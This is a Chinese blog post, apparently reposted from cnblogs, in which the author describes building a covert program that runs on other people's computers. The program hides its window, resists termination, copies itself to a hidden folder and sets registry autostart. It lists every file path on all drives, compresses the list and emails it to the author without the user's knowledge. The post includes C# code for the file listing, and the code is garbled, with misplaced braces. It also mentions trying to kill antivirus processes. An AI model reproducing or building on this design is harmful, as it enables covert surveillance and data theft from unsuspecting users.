读取电脑所有磁盘文件并输出路径

最近项目不是太忙,做了一个小程序。刚开始只是想输出电脑所有文件,看看里面到底有哪些东西。 到后来再想如果其他人运行程序后,是否能把他电脑中文件名和所在路径都发到我邮箱呢? 所以慢慢这个小程序也就做的比较完美了。

运行程序后它具体的执行步骤如下:

1、隐藏窗口(调用API)

     我用的是控制台应用程序,运行之后不能让用户看到运行界面。只能在进程中看到运行的程序。

2、保护进程(调用一个VC++核心库函数)

     对当前进程进行保护,即使用户发现,也无法在任务管理器中结束。

3、检测网络连接是否正常(调用API)

   因为有些用户用的是3G 或者拨号上网,开机后要等一段时间网络才能连接。

4、拷贝文件

     这一步是把自身拷贝到机器的一个隐藏目录中,防止用户把现在的程序删除。

5、设置开机自动启动(读写注册表)M

     把上一步拷贝到隐藏文件的程序目录 写到开机启动注册表中。在上一步即使用户删除了程序,但是他不知道已经拷贝了一份在隐藏目录下,所以下次开机      后程序还会运行,但用户发现不了。

6、读取电脑中所有磁盘文件名及所在路径$

   先创建一个隐藏文件夹(比如在C:\Program Files\下面,因为隐藏文件,所以用户不可能发现),然后在文件夹下新建一个txt,读取到的文件都写到这个文本文件中。

7、压缩文件Z

   我自己机器测试最后写完的文本达到了20M,如果不压缩的话,邮箱很难发送,而且时间会比较长。20M文本压缩之后只有1.6M。

     这些操作都是在隐藏文件夹下进行的。

8、发送邮件*

   将压缩的文件以附件方式发送到指定邮箱,这里就是我自己的邮箱。

9、删除文件#

    将第6步中所建的文件夹 以及里面文件都删除掉。

程序执行完成,自动退出。下次开机就会自动运行了。

不过还是有些问题,如果装有360的话,它会有一个注册表防火墙,所以写注册表时候会被拦截,这样用户就很容易发现。我之前想用程序结束360进程,或者停止360服务。没想到即使我手动去停止都不行,流氓软件也不是吹出来的。

可能这个软件有点不道德 J 不过现在过不了360这关,所以基本上用户都能发现,没什么威胁。所以我也是自己测试娱乐一下而已。

下面是其中读取电脑中所有磁盘文件名及所在路径的代码:

 
  
namespace Momo
{
class Program
{
     static FileStream fs = null;  static StreamWriter sw = null; private static readonly object obj = new object();
static void Main( string [] args)
{
foreach (DriveInfo df in System.IO.DriveInfo.GetDrives())
{
if (df.IsReady)
PrintDrive(df.RootDirectory);
       fs.Dispose();   sw.Close();
}

/// <summary>
/// 读文件
/// </summary>
/// <param name="di"></param>
public static void PrintDrive(DirectoryInfo di)
{
try
{
DirectoryInfo[] dirs
= di.GetDirectories(); //目录下的文件夹
FileInfo[] fi = di.GetFiles(); //目录下的文件
for ( int i = 0 ; i < fi.Length; i ++ )
{
// Console.WriteLine(fi[i].FullName);
WriteFile(fi[i].FullName); //输出文件夹根目录的文件
}
for ( int j = 0 ; j < dirs.Length; j ++ )
{
// Console.WriteLine(dirs[j].FullName);
WriteFile(dirs[j].FullName); //输出文件夹的目录
PrintDrive(dirs[j]); //递归文件夹
}
}
catch
{
// Console.WriteLine("Error");
WriteFile( " Read Error " );
}
}

/// <summary>
/// 写文件
/// </summary>
/// <param name="strFile"></param>
public static void WriteFile( string strFile)
{
if ( ! Directory.Exists(MailInfo.ToZipPath)) //创建一个目录 @"C:\FolderToZip"
{
Directory.CreateDirectory(MailInfo.ToZipPath);

DirectoryInfo di = new DirectoryInfo(MailInfo.ToZipPath);
di.Attributes = FileAttributes.Hidden; //设置成隐藏文件
}

string path = MailInfo.ToZipInfoPath; // 创建一个文本文档@"C:\FolderToZip\info.txt"

if ( ! File.Exists(path) || fs == null )
{
lock (obj) //这里用了单例模式,其实没必要,只是注意单例模式的时候别忘了加锁
{
if (fs == null )
{
fs
= new FileStream(path, FileMode.Append, FileAccess.Write, FileShare.Write);
fs.Close();
}
}
}
if (sw == null )
{
lock (obj)
{
if (sw == null )
{
sw
= new StreamWriter(path, true , Encoding.UTF8);
}
}
}
sw.WriteLine(strFile);
}
}
}

转载于:https://www.cnblogs.com/jackal/archive/2011/01/27/1946093.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值